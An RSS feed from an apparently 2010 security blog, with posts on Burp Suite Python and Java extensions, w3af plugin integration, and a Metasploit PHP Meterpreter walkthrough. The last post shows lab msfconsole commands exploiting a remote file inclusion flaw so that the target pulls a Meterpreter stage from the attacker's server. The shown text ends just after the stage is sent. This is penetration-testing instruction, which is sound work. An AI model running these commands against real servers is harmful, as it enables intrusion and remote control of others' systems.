<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet title="XSL formatting" type="text/xsl" href="http://blog.ombrepixel.com/feed/rss2/xslt" ?><rss version="2.0"
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:wfw="http://wellformedweb.org/CommentAPI/"
  xmlns:content="http://purl.org/rss/1.0/modules/content/"
  xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
  <title>David Robert's -castlebbs-  Blog</title>
  <link>http://blog.ombrepixel.com/</link>
  <atom:link href="http://blog.ombrepixel.com:82/feed/rss2" rel="self" type="application/rss+xml"/>
  <description></description>
  <language>en</language>
  <pubDate>Fri, 13 Jan 2012 07:30:07 +0000</pubDate>
  <copyright></copyright>
  <docs>http://blogs.law.harvard.edu/tech/rss</docs>
  <generator>Dotclear</generator>
  
    
  <item>
    <title>Running w3af plugins in Burp Suite</title>
    <link>http://blog.ombrepixel.com/post/2010/09/09/Running-w3af-plugins-in-Burp-Suite</link>
    <guid isPermaLink="false">urn:md5:d49bedd82c18cccae35a9f8c543fcbd0</guid>
    <pubDate>Thu, 09 Sep 2010 23:58:00 +0100</pubDate>
    <dc:creator>castlebbs</dc:creator>
        <category>Tools</category>
            
    <description>    &lt;p&gt;I am quite enthusiastic about the &lt;a href=&quot;http://blog.ombrepixel.com/post/2010/08/30/Extending-Burp-Suite-in-Python&quot; hreflang=&quot;en&quot;&gt;Burp Suite
Python extension&lt;/a&gt; I wrote. This is a Python (Jython) binding written in Java
implementing the Burp Suite extension API.&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;In the to-do list, I mentioned that more examples need to be written to show
the benefit of having the Python support in Burp Suite to write extensions.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://w3af.sourceforge.net/&quot; hreflang=&quot;en&quot;&gt;w3af&lt;/a&gt; is a web
application attack and audit framework written in Python with a plugin based
model. I found interesting to see what's involved in enabling Burp Suite to use
w3af plugins.&lt;/p&gt;
&lt;p&gt;As a demo/proof-of-concept I created a &lt;a href=&quot;http://blog.ombrepixel.com/public/BurpExtender-w3af.py&quot; hreflang=&quot;en&quot;&gt;BurpExtender.py&lt;/a&gt; Python extension to load and execute &lt;a href=&quot;http://w3af.sourceforge.net/&quot; hreflang=&quot;en&quot;&gt;w3af&lt;/a&gt; plugins within Burp
Suite.&lt;/p&gt;
&lt;p&gt;Not all the w3af plugins can be used in Burp mainly because limitations in
the &lt;a href=&quot;http://portswigger.net/suite/help.html#extensibility&quot; hreflang=&quot;en&quot;&gt;BurpExtender API&lt;/a&gt;. So for the moment, only &lt;a href=&quot;http://w3af.sourceforge.net/plugin-descriptions.php&quot; hreflang=&quot;en&quot;&gt;plugins&lt;/a&gt;
from the &lt;a href=&quot;http://w3af.sourceforge.net/plugin-descriptions.php#grep&quot; hreflang=&quot;en&quot;&gt;grep&lt;/a&gt; and &lt;a href=&quot;http://w3af.sourceforge.net/plugin-descriptions.php#evasion&quot; hreflang=&quot;en&quot;&gt;evasion&lt;/a&gt; categories are supported.&lt;/p&gt;
&lt;p&gt;While I may look at implementing other categories of plugins, having access
to the grep plugins is nice, all the traffic going through Burp will be
passively scanned by the plugins, and weaknesses will be reported in the Alert
tab and in the console.&lt;br /&gt;&lt;/p&gt;
&lt;h5&gt;How to use it:&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;Download the &lt;a href=&quot;http://blog.ombrepixel.com/public/BurpExtender-w3af.py&quot; hreflang=&quot;en&quot;&gt;BurpSuite w3af plugin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.ombrepixel.com/post/2010/08/30/Extending-Burp-Suite-in-Python#install&quot; hreflang=&quot;en&quot;&gt;Follow the instructions&lt;/a&gt; for the installation of the Burp suite Python
extension&lt;/li&gt;
&lt;li&gt;You need to select which plugins you want to use - This is in the first
lines of the BurpExtender.py:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;
# Here you define the name of the plugins you want (category.plugin)
plugins = ['grep.domXss',  'grep.error500', 'grep.errorPages', 'grep.feeds',  
           'grep.fileUpload','grep.hashFind', 'grep.httpAuthDetect', 'grep.privateIP', 'grep.ssn',
           'grep.strangeHeaders', 'grep.strangeHTTPCode', 'grep.strangeReason', 'grep.svnUsers', 'grep.wsdlGreper']
&lt;/pre&gt;
&lt;p&gt;You need to specify the path of the w3af python modules. I have tested this
program with w3af version 1.0-rc3.&lt;/p&gt;
&lt;pre&gt;
# Here you should define the location of your w3af installation
w3afPath=&amp;quot;C:\\local\\Program Files\\w3af\\w3af&amp;quot;
# Example for Unix &amp;quot;/usr/local/w3af/w3af&amp;quot;
&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Start Burp (example below with Windows):&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;
C:\Burp&amp;gt;java -Xmx512m -classpath burpsuite_v1.3.03.jar;burppython.jar burp.Start Burp
init: Bootstrapping class not in Py.BOOTSTRAP_TYPES[class=class org.python.core.PyStringMap]
BurpExtender.py needs to be in a folder listed below:
['C:\\Burp\\Lib', '/C:/Burp/burppython.jar/Lib', '__classpath__', '__pyclasspath__/']
loading w3af plugins
---------------------
Loading grep.domXss...                     Success
Loading grep.error500...                   Success
Loading grep.errorPages...                 Success
Loading grep.feeds...                      Success
Loading grep.fileUpload...                 Success
Loading grep.hashFind...                   Success
Loading grep.httpAuthDetect...             Success
Loading grep.privateIP...                  Success
Loading grep.ssn...                        Success
Loading grep.strangeHeaders...             Success
Loading grep.strangeHTTPCode...            Success
Loading grep.strangeReason...              Success
Loading grep.svnUsers...                   Success
Loading grep.wsdlGreper...                 Success

Failed plugins are ignored and won't be proceeded. You can uncomment
the line 'print str(e)' in the module to see the actual exception
&lt;/pre&gt;
&lt;p&gt;While browsing, if issues are passively identified, they will appear in the
console and in the alert tab:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://blog.ombrepixel.com/public/burp-w3af.png&quot; alt=&quot;burp-w3af.png&quot; style=&quot;float:left; margin: 0 1em 1em 0;&quot; title=&quot;burp-w3af.png, Sep 2010&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;Limitations&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;As stated previously, not all plugins categories are supported, I may look
in the future and please email me if you have this need&lt;/li&gt;
&lt;li&gt;I probably need to put more work on the evasion plugins support since there
are some issues in relation to the order in which the http headers are sent
back to Burp&lt;/li&gt;
&lt;li&gt;Some grep plugins won't work out of the box because they require
&lt;code&gt;sqlite3&lt;/code&gt; python module which is not available in the Java python
implementation used by the python extension (Jython). However, it is possible
to have this working using the &lt;a href=&quot;http://www.zentus.com/sqlitejdbc/&quot; hreflang=&quot;en&quot;&gt;sqlite jdbc support&lt;/a&gt;. Please drop me an email if you need help
in implementing this so you will have all plugins working.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Please give me some feedback if you try it: david@ombrepixel.com&lt;/p&gt;</description>
    
          <enclosure url="http://blog.ombrepixel.com/public/BurpExtender-w3af.py"
      length="6620" type="text/plain" />
    
    
          <comments>http://blog.ombrepixel.com/post/2010/09/09/Running-w3af-plugins-in-Burp-Suite#comment-form</comments>
      <wfw:comment>http://blog.ombrepixel.com/post/2010/09/09/Running-w3af-plugins-in-Burp-Suite#comment-form</wfw:comment>
      <wfw:commentRss>http://blog.ombrepixel.com/feed/atom/comments/545020</wfw:commentRss>
      </item>
    
  <item>
    <title>Extending Burp Suite in Python</title>
    <link>http://blog.ombrepixel.com/post/2010/08/30/Extending-Burp-Suite-in-Python</link>
    <guid isPermaLink="false">urn:md5:b9fbde13cd87b1e472e191dd7ebedda3</guid>
    <pubDate>Mon, 30 Aug 2010 08:10:00 +0100</pubDate>
    <dc:creator>castlebbs</dc:creator>
        <category>Tools</category>
            
    <description>    &lt;p&gt;In a previous post, I &lt;a href=&quot;http://blog.ombrepixel.com/post/2010/08/06/Porting-WebScarab-functions-to-Burp-Proxy&quot; hreflang=&quot;en&quot;&gt;wrote&lt;/a&gt; about creating a &lt;a href=&quot;http://portswigger.net/suite/&quot; hreflang=&quot;en&quot;&gt;Burp Suite&lt;/a&gt; extension in Java using the &lt;a href=&quot;http://portswigger.net/suite/help.html#extensibility&quot; hreflang=&quot;en&quot;&gt;IBurpExtender interface&lt;/a&gt;. When performing web application security
testing, I often need to write small pieces of code to help me in automating
some tasks and the code is generally specific the the application I am testing.
Whereas I like Java, I think that dynamically typed languages are more
efficient for creating small pieces of code quickly and efficiently. However,
don't misquote me, dynamically typed languages like Python can also be (and
are) used for very large development projects.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://blog.ombrepixel.com/public/python-logo.gif&quot; alt=&quot;python&quot; style=&quot;float:right; margin: 0 0 1em 1em;&quot; title=&quot;python, Aug 2010&quot; /&gt; Having used
Python for about 8 years now, I found very interesting the idea of creating a
Python binding for the Burp Suite. Since Burp is written in Java, I obviously
used &lt;a href=&quot;http://www.jython.org/&quot; hreflang=&quot;en&quot;&gt;Jython&lt;/a&gt;, the java
implementation of Python.&lt;/p&gt;
&lt;p&gt;My goal was to allow anyone to write the Burp extensions directly in Python
using the same BurpExtender interface. Therefore, if you wrote Burp extensions
in Java, you already know how to write them in Python.&lt;/p&gt;
&lt;h5&gt;First example&lt;/h5&gt;
&lt;p&gt;This very simple extension replaces the string &amp;quot;java&amp;quot; to &amp;quot;python&amp;quot; in all
http responses received by the Burp. This is useless; but it is just to show
how easy it is to write an extension in Python. Only those few lines of code
are needed:&lt;/p&gt;
&lt;pre&gt;
from burp import IBurpExtender

class BurpExtender(IBurpExtender):
    
    def processProxyMessage(self,messageReference, messageIsRequest, remoteHost, remotePort,
                            serviceIsHttps, httpMethod, url, resourceType, statusCode,
                            responseContentType, message, interceptAction):
        if not messageIsRequest:
            message = message.tostring().replace(&amp;quot;java&amp;quot;,&amp;quot;python&amp;quot;)
        return message
&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h5&gt;Embedding an interactive python interpreter&lt;/h5&gt;
&lt;p&gt;Let's look at something a bit more interesting, using an interactive python
console to work on some messages proceeded by Burp:&lt;/p&gt;
&lt;pre&gt;
from burp import IBurpExtender
from java.net import URL
from code import InteractiveConsole

class BurpExtender(IBurpExtender):
    def processProxyMessage(self,messageReference, messageIsRequest, remoteHost, remotePort,
                            serviceIsHttps, httpMethod, url, resourceType, statusCode,
                            responseContentType, message, interceptAction):
        if not messageIsRequest:
            uUrl = URL(&amp;quot;HTTPS&amp;quot; if serviceIsHttps else &amp;quot;HTTP&amp;quot;, remoteHost, remotePort, url)
            if self.mCallBacks.isInScope(uUrl):
                message = message.tostring()
                from pprint import pprint
                loc=dict(locals())
                c = InteractiveConsole(locals=loc)
                c.interact(&amp;quot;Interactive python interpreter&amp;quot;)
                for key in loc:
                    if key != '__builtins__':
                        exec &amp;quot;%s = loc[%r]&amp;quot; % (key, key)
        return message

    def registerExtenderCallbacks(self, callbacks):
        self.mCallBacks = callbacks
&lt;/pre&gt;
&lt;p&gt;What this code does basically is: launch a Python interpreter, make all the
python namespace available (you can access and modify any field and method that
is offered by the BurpExtender object). Is this not cool?&lt;/p&gt;
&lt;p&gt;Only messages that are in the Burp Suite scope will be intercepted and made
available interactively (Target/Scope tab in Burp). This is done by the
line:&lt;/p&gt;
&lt;pre&gt;
 if self.mCallBacks.isInScope(uUrl):
&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;isInScope&lt;/code&gt; is a callback function, the &lt;code&gt;mCallBack&lt;/code&gt;
object is registered by the &lt;code&gt;registerExtenderCallbacks&lt;/code&gt; python
method.&lt;/p&gt;
&lt;p&gt;Below is an example on what is available with the interactive shell. The
shell is available on the console used to start Burp suite. When a message is
in the scope, the shell is launched.&lt;/p&gt;
&lt;p&gt;First, we are within the scope of the &lt;code&gt;processProxyMessage&lt;/code&gt;
method and have direct access to the different fields.&lt;/p&gt;
&lt;pre&gt;
Interactive python interpreter
&amp;gt;&amp;gt;&amp;gt; pprint(dir())
['httpMethod',
 'interceptAction',
 'message',
 'messageIsRequest',
 'messageReference',
 'pprint',
 'remoteHost',
 'remotePort',
 'resourceType',
 'responseContentType',
 'self',
 'serviceIsHttps',
 'statusCode',
 'uUrl',
 'url']

&amp;gt;&amp;gt;&amp;gt; pprint(message)
'HTTP/1.1 200 OK\r\nDate: Mon, 30 Aug 2010 12:16:40 GMT\r\nServer: Apache/2.2.9 (Fedora)\r\nLast-Modified: Mon, 30 Aug 2010 11:12:52 GMT\r\nETag: &amp;quot;2aa3a-4d-48f088ba1f500&amp;quot;\r\nAccept-Ranges: bytes\r\nContent-Length: 77\r\nConnection: close\r\nContent-Type: text/html; charset=UTF-8\r\n\r\n&amp;lt;html&amp;gt;\n&amp;lt;head&amp;gt;\n&amp;lt;title&amp;gt;Test!&amp;lt;/title&amp;gt;\n&amp;lt;/head&amp;gt;\n&amp;lt;body&amp;gt;\nHello all!\n&amp;lt;/body&amp;gt;\n&amp;lt;/html&amp;gt;\n'

&amp;gt;&amp;gt;&amp;gt; print resourceType, responseContentType, statusCode
html text/html; charset=utf-8 200
&lt;/pre&gt;
&lt;p&gt;It is also possible to interact with all the BurpExtender fields and
methods:&lt;/p&gt;
&lt;pre&gt;
&amp;gt;&amp;gt;&amp;gt; pprint(dir(self))
['ACTION_DONT_INTERCEPT',
[..]
 'applicationClosing',
 'class',
 'classDictInit',
 'clone',
 'commandLineArgs',
 'equals',
 'finalize',
 'getClass',
 'hashCode',
 'mCallBacks',
 'newScanIssue',
 'notify',
 'notifyAll',
 'processHttpMessage',
 'processProxyMessage',
 'registerExtenderCallbacks',
 'setCommandLineArgs',
 'toString',
 'wait']
&amp;gt;&amp;gt;&amp;gt; 
&lt;/pre&gt;
&lt;p&gt;It is possible for example to call any Burp method provided by the callback
object:&lt;/p&gt;
&lt;pre&gt;
&amp;gt;&amp;gt;&amp;gt; for message in self.mCallBacks.getProxyHistory():
...     message.getRequest().tostring()
... 
'GET /test.html HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121622 Fedora/3.0.5-1.fc9 Firefox/3.0.5\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nProxy-Connection: keep-alive\r\nCache-Control: max-age=0\r\n\r\n'
&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h5&gt;Adding new options in Burp Suite menus&lt;/h5&gt;
&lt;p&gt;This only works with the professional version of Burp Suite (minimum
1.3.07)&lt;/p&gt;
&lt;p&gt;Now I am going to show how to create a new menu item within Burp that will
call new functions written in Python. This code below adds a &amp;quot;Compare
parameters&amp;quot; item in the Burp Suite contextual menu. In the Proxy/History tab,
you can select two messages, right click and select the new compare function.
This code is just an example of what can be done, it compares GET and POST
parameters between two requests and tells the differences. It can be useful
though because the Burp Suite comparer is not great to compare requests.&lt;/p&gt;
&lt;pre&gt;
from burp import IBurpExtender
from burp import IMenuItemHandler

from cgi import parse_qs

class BurpExtender(IBurpExtender):
    def registerExtenderCallbacks(self, callbacks):
        self.mCallBacks = callbacks
        self.mCallBacks.registerMenuItem(&amp;quot;Compare parameters&amp;quot;, ArgsDiffMenuItem())

class ArgsDiffMenuItem(IMenuItemHandler):
    def menuItemClicked(self, menuItemCaption, messageInfo):
        print &amp;quot;--- Diff on arguments ---&amp;quot;
        if len(messageInfo) == 2:
            # We can do a diff
            request1=HttpRequest(messageInfo[0].getRequest())
            request2=HttpRequest(messageInfo[1].getRequest())
            print &amp;quot;Diff in GET parameters:&amp;quot;
            self.diff(request1.query_params,request2.query_params)
            print &amp;quot;Diff in POST parameters:&amp;quot;
            self.diff(request1.body_params,request2.body_params)
        else:
            print &amp;quot;You need to select two messages to do an argument diff&amp;quot;
        print &amp;quot;\n\n&amp;quot;

    def diff(self, params1, params2):
            for param in params1:
                if param not in params2:
                    print &amp;quot;Param %s=%s is not is the second request&amp;quot; % \
                          (param, params1[param])
                    continue
                if params1[param] != params2[param]:
                    print &amp;quot;Request1 %s=%s Request2 %s=%s&amp;quot; % \
                            (param, params1[param], param, params2[param])
            for param in params2:
                if param not in params1:
                    print &amp;quot;Param %s=%s is not is the first request&amp;quot; % \
                          (param, params2[param])

class HttpRequest:
    def __init__(self, request):
        self.request=request.tostring().splitlines()
        self.query_params={}
        self.getParameters()

    def getParameters(self):
        # get url parameters
        try:
            self.query_params=parse_qs(\
            ''.join(self.request[0].split()[1].split(&amp;quot;?&amp;quot;)[1:]))
        except:
            self.query_params={}

        # get body parameters
        try:
            index=++self.request.index('')
            self.body_params=parse_qs(\
            ''.join(self.request[index:]))
        except:
            self.body_params={}
&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a name=&quot;install&quot; id=&quot;install&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h5&gt;How to use the python extension&lt;/h5&gt;
&lt;p&gt;You need the &lt;code&gt;burppython.jar&lt;/code&gt; extension. I have created a jar
file that contains the jython interpreter so you don't need to install anything
else.&lt;/p&gt;
&lt;p&gt;Steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;You need to download the zipfile attached at the end of this article.&lt;/li&gt;
&lt;li&gt;You need to unzip the content in a dedicated folder.&lt;/li&gt;
&lt;li&gt;You need to copy the burpsuite jarfile in this folder (something like
&lt;code&gt;burpsuite_pro_v1.3.07.jar&lt;/code&gt; or
&lt;code&gt;burpsuite_v1.3.03.jar&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;The python extension (&lt;code&gt;BurpExtender.py&lt;/code&gt;) needs to be placed in
the Lib subfolder.&lt;/li&gt;
&lt;li&gt;You can launch the burp suite using suite.bat or suite.sh&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Please send me an email to &lt;code&gt;david@ombrepixel.com&lt;/code&gt; for any
questions&lt;/p&gt;
&lt;h5&gt;To be done&lt;/h5&gt;
&lt;p&gt;A lot needs to be done,&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Add the capability of using several python and java extensions at the same
time and link them together&lt;/li&gt;
&lt;li&gt;Add the capability of dynamically reload a python extension without having
to stop-restart Burp&lt;/li&gt;
&lt;li&gt;Put the project on a tracking version system like GitHub&lt;/li&gt;
&lt;li&gt;Add more Demo that could leverage on the numerous Python libraries that
already exist. UPDATE: &lt;a href=&quot;http://blog.ombrepixel.com/post/2010/09/09/Running-w3af-plugins-in-Burp-Suite&quot;&gt;please see the w3af
extension&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;..&lt;/li&gt;
&lt;/ol&gt;</description>
    
          <enclosure url="http://blog.ombrepixel.com/public/burppython_v0.1.zip"
      length="11838998" type="application/zip" />
    
    
          <comments>http://blog.ombrepixel.com/post/2010/08/30/Extending-Burp-Suite-in-Python#comment-form</comments>
      <wfw:comment>http://blog.ombrepixel.com/post/2010/08/30/Extending-Burp-Suite-in-Python#comment-form</wfw:comment>
      <wfw:commentRss>http://blog.ombrepixel.com/feed/atom/comments/542675</wfw:commentRss>
      </item>
    
  <item>
    <title>Porting WebScarab functions to Burp Proxy</title>
    <link>http://blog.ombrepixel.com/post/2010/08/06/Porting-WebScarab-functions-to-Burp-Proxy</link>
    <guid isPermaLink="false">urn:md5:9a4848e7c4cfeada8ad2cd34e7edd16d</guid>
    <pubDate>Fri, 06 Aug 2010 23:14:00 +0100</pubDate>
    <dc:creator>castlebbs</dc:creator>
        <category>Development</category>
            
    <description>    &lt;p&gt;I think that the &lt;em&gt;&amp;quot;Reveal hidden fields in HTML pages&amp;quot;&lt;/em&gt; option from
&lt;a href=&quot;http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project&quot; hreflang=&quot;en&quot;&gt;WebScarab&lt;/a&gt; is better that the equivalent option in &lt;a href=&quot;http://portswigger.net/proxy/&quot; hreflang=&quot;en&quot;&gt;Burp Proxy&lt;/a&gt; &lt;em&gt;&amp;quot;unhide hidden
form fields&amp;quot;&lt;/em&gt;. Therefore I ported the WebScarab code in charge of this to
Burp Suite as a &lt;a href=&quot;http://portswigger.net/misc/burp/IBurpExtender.html&quot; hreflang=&quot;en&quot;&gt;BurpExtender&lt;/a&gt; extension.&lt;/p&gt;
&lt;p&gt;Sometime it can save time just unhiding hidden fields to see/modify them
when testing a web application. Both Burp Proxy and Webscarab offer this
options. However it seems that the &amp;quot;unhide hidden form fields&amp;quot; in Burp only
reveals the fields values and not the fields names.&lt;/p&gt;
&lt;p&gt;With the native &amp;quot;unhide hidden form fields&amp;quot; option with Burp Proxy, the
revealed fields look like:&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://blog.ombrepixel.com/public/BurpNat_uhide.jpg&quot; alt=&quot;BurpNative_unhide.jpg&quot; style=&quot;display:block; margin:0 auto;&quot; title=&quot;BurpNat_uhide.jpg, Aug 2010&quot; /&gt;&lt;/p&gt;
&lt;p&gt;With the Burp Proxy extension I wrote (with WebScarab code) the name of the
fields are displayed before the value:&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://blog.ombrepixel.com/public/BurpExt_uhide.jpg&quot; alt=&quot;BurpNative_unhide.jpg&quot; style=&quot;display:block; margin:0 auto;&quot; title=&quot;BurpExt_uhide.jpg, Aug 2010&quot; /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;This code was tested with Burp Suite professional 1.3.07 and the free
version 1.3.03.&lt;/p&gt;
&lt;pre&gt;
import java.net.URL;
import java.util.*;
import java.util.regex.*;
import java.io.*;

public class BurpExtender {
    public burp.IBurpExtenderCallbacks mCallbacks;
    public byte[] processProxyMessage(int messageReference, boolean messageIsRequest,
                  String remoteHost, int remotePort, boolean serviceIsHttps, String httpMethod,
                  String url, String resourceType, String statusCode, String responseContentType,
                  byte[] message, int[] interceptAction) {

    if (!messageIsRequest)
        {
            try
            {
                URL uUrl = new URL(serviceIsHttps ? &amp;quot;HTTPS&amp;quot; : &amp;quot;HTTP&amp;quot;, remoteHost, remotePort, url);
                // We are only looking at urls under scope with Burp (target tab) and also only text
                // based content-type In some case responseContentType is null, found this is the case
                // when Content-Lenght is 0 identified using mCallbacks.getHeaders()
                if (mCallbacks.isInScope(uUrl) &amp;amp;&amp;amp; responseContentType != null
                     &amp;amp;&amp;amp; responseContentType.contains(&amp;quot;text&amp;quot;))
                {
                    return revealHidden(message);
                }
                else
                {
                    return message;
                }
            }
            catch (Exception e)
            {
                e.printStackTrace();
            }
        }
        return message;
    }
    public void registerExtenderCallbacks(burp.IBurpExtenderCallbacks callbacks) {
        mCallbacks = callbacks;
    }

    // Code from WebScarab (slightly modified)
    private byte[] revealHidden(byte[] content) {
        /* We split this pattern into two parts, one before &amp;quot;hidden&amp;quot; and one after
         * Then it is simple to concatenate part 1 + &amp;quot;text&amp;quot; + part 2 to get an
         * &amp;quot;unhidden&amp;quot; input tag
         */
        Pattern inputPattern = Pattern.compile(&amp;quot;(&amp;lt;input.+?type\\s*=\\s*[\&amp;quot;']{0,1})hidden([\&amp;quot;']{0,1}.+?&amp;gt;)&amp;quot;, Pattern.CASE_INSENSITIVE);
        Matcher inputMatcher = inputPattern.matcher(new String(content));
        StringBuffer outbuf = new StringBuffer();
        boolean matchedOnce = false;
        /* matched hidden input parameter */
        while(inputMatcher.find()) {
            matchedOnce = true;
            String input = inputMatcher.group();
            String name = &amp;quot;noname&amp;quot;;

            // extract hidden field name
            Pattern namePattern = Pattern.compile(&amp;quot;name=[\&amp;quot;']{0,1}(\\w+)[\&amp;quot;']{0,1}&amp;quot;, Pattern.CASE_INSENSITIVE);
            Matcher nameMatcher = namePattern.matcher(input);
            if (nameMatcher.find() &amp;amp;&amp;amp; nameMatcher.groupCount() == 1){
                name = nameMatcher.group(1);
            }

            // make hidden field a text field - there MUST be 2 groups
            // Note: this way we don't have to care about which quotes are being used
            input = inputMatcher.group(1) + &amp;quot;text&amp;quot; + inputMatcher.group(2);

            /* insert [hidden] &amp;lt;fieldname&amp;gt; before the field itself */
            inputMatcher.appendReplacement(outbuf, &amp;quot;&amp;lt;STRONG style=\&amp;quot;background-color: white;\&amp;quot;&amp;gt; [hidden field name =\&amp;quot;&amp;quot; + name + &amp;quot;\&amp;quot;]:&amp;lt;/STRONG&amp;gt; &amp;quot;+ input + &amp;quot;&amp;lt;BR/&amp;gt;&amp;quot;);
        }
        inputMatcher.appendTail(outbuf);
        return matchedOnce ? outbuf.toString().getBytes() : content;
    }
} // end BurpExtender


&lt;/pre&gt;
&lt;p&gt;You can download the extension as a jar file (attachement below). To use it,
you need to launch Burp this way:&lt;/p&gt;
&lt;pre&gt;
java -classpath burpreveal.jar:burpsuite_v1.3.03.jar burp.StartBurp
&lt;/pre&gt;
&lt;p&gt;On Windows based platforms, use a semi-colon character instead of the colon
as the classpath separator.&lt;/p&gt;
&lt;p&gt;Only the websites that are defined in the proxy scope will see their fields
revealed (Target-&amp;gt;Scope).&lt;/p&gt;</description>
    
          <enclosure url="http://blog.ombrepixel.com/public/burpreveal.jar"
      length="1834" type="application/x-java-archive" />
    
    
      </item>
    
  <item>
    <title>Metasploit 4.2.1: PHP Meterpreter</title>
    <link>http://blog.ombrepixel.com/post/2010/07/27/Metasploit-4.2.1%3A-PHP-Meterpreter</link>
    <guid isPermaLink="false">urn:md5:b126a01505dbc6ff56353aaed10c9675</guid>
    <pubDate>Tue, 27 Jul 2010 00:05:00 +0100</pubDate>
    <dc:creator>castlebbs</dc:creator>
        <category>Tools</category>
            
    <description>    &lt;p&gt;&lt;img src=&quot;http://blog.ombrepixel.com/public/metasploit.jpeg&quot; alt=&quot;metasploit&quot; style=&quot;float:left; margin: 0 1em 1em 0;&quot; title=&quot;metasploit, Jul 2010&quot; /&gt;Only two
months after version 3.4.0 of the framework, &lt;a href=&quot;https://www.metasploit.com/redmine/projects/framework/wiki/Release_Notes_341&quot; hreflang=&quot;en&quot;&gt;version 3.4.1 is released&lt;/a&gt; with an important number of new
features.&lt;/p&gt;
&lt;p&gt;Among the new features, I found this one really interesting:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PHP Meterpreter - A protocol-compatible port of the original Meterpreter
payload to PHP. This new payload adds the ability to pivot through webservers
regardless of the native operating system&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The meterpreter is an advanced post exploitation system and is one of the
best functions within metasploit. If you don't know what it is, I recommend you
to have a look at the below:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.carnal0wnage.com/research/ChiCon07_Gates_Metasploit-Day2-FunStuff.pdf&quot; hreflang=&quot;en&quot;&gt;http://www.carnal0wnage.com/research/ChiCon07_Gates_Metasploit-Day2-FunStuff.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.metasploit.com/documents/meterpreter.pdf&quot; hreflang=&quot;en&quot;&gt;http://www.metasploit.com/documents/meterpreter.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Below is an example on how to launch a meterpreter session exploiting a
Remote File Inclusion vulnerability in a php application. For the purpose of
this test, I used the vulnerable version of &lt;a href=&quot;http://packetstormsecurity.nl/0908-exploits/autonomouslan-rfi.txt&quot; hreflang=&quot;en&quot;&gt;Autonomous LAN party&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;My &amp;quot;metasploit server&amp;quot; is on 192.168.142.129&lt;/li&gt;
&lt;li&gt;The &amp;quot;vulnerable linux server&amp;quot; hosting the vulnerable web application is on
192.168.142.128, it is also connected to another subnet: 192.168.204.0/24 not
accessible by the Metasploit server&lt;/li&gt;
&lt;li&gt;There is a windows &amp;quot;server&amp;quot; on the other subnet: 192.168.204.12&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;
               _                  _       _ _
               | |                | |     (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                            | |
                            |_|

       =[ metasploit v3.4.2-dev [core:3.4 api:1.0]
+ -- --=[ 570 exploits - 285 auxiliary
+ -- --=[ 212 payloads - 27 encoders - 8 nops
       =[ svn r9925 updated yesterday (2010.07.25)

msf &amp;gt; use unix/webapp/php_include
msf exploit(php_include) &amp;gt; set RHOST 192.168.142.128
RHOST =&amp;gt; 192.168.142.128
msf exploit(php_include) &amp;gt; set SRVHOST 192.168.142.129
SRVHOST =&amp;gt; 192.168.142.129
msf exploit(php_include) &amp;gt; set PHPURI /alp/include/_bot.php?master[currentskin]=XXpathXX
PHPURI =&amp;gt; /alp/include/_bot.php?master[currentskin]=XXpathXX
msf exploit(php_include) &amp;gt; set PAYLOAD php/meterpreter/bind_tcp
PAYLOAD =&amp;gt; php/meterpreter/bind_tcp
&lt;/pre&gt;
&lt;p&gt;We used the &lt;code&gt;unix/webapp/php_include&lt;/code&gt; generic exploit with the
&lt;code&gt;php/meterpreter/bind_tcp payload&lt;/code&gt;, and then we run it:&lt;/p&gt;
&lt;pre&gt;
msf exploit(php_include) &amp;gt; exploit
[*] Started bind handler

[*] Using URL: http://192.168.142.129:8080/Po9G2hcnGmH
[*] PHP include server started.
[*] Sending stage (35521 bytes) to 192.168.142.128
